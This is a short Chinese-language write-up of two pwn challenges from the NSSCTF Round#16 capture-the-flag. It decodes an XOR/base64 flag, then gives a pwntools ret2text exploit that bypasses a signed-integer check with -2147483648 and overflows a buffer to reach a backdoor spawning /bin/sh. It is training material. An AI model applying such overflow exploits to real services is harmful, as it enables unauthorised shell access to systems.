NSSCTF Round#16 Basic WriteUp

发布时间 2024-01-13 21:51:23作者: wyx0404

NSSCTF Round#16Basic wp

一.pwn

1.nc_pwnre

nc连接

屏幕截图 2024-01-13 205948

得到题目,给了一段汇编代码以及40个十六进制数字

分析代码可知,将一个字符串与10h即16进行异或运算,二次异或运算得到字符串

TlNTQ1RGe1dFTGMwTV9UMF9wV25fdzByMWQhfQ==

base64解密得到

NSSCTF{WELc0M_T0_pWn_w0r1d!}

又题目nc连接后要求一个输入,输入后

屏幕截图 2024-01-13 154922

要求另一个输入,尝试ls,cat flag成功

屏幕截图 2024-01-13 155059

2.ret_text

拿到题目附件进行常规checksec

![](NSSCTF Round#16Basic wp.assets/image-20240113161745755.png)

没有特别的,32位且开启了NX

IDA发现主体函数,且存在后门函数backdoor执行system("/bin/sh")

![image-20240113161521899](NSSCTF Round#16Basic wp.assets/image-20240113161521899.png)

通过输入-2147483648绕过if判断进入溢出点,然后就是常规ret2text

#exp
from pwn import*
p=remote("node7.anna.nssctf.cn",28276)

backdoor_addr=0x08049328

payload=b'a'*0x24+p32(backdoor_addr)

p.sendline(b'-2147483648')
p.sendline(payload)
p.interactive()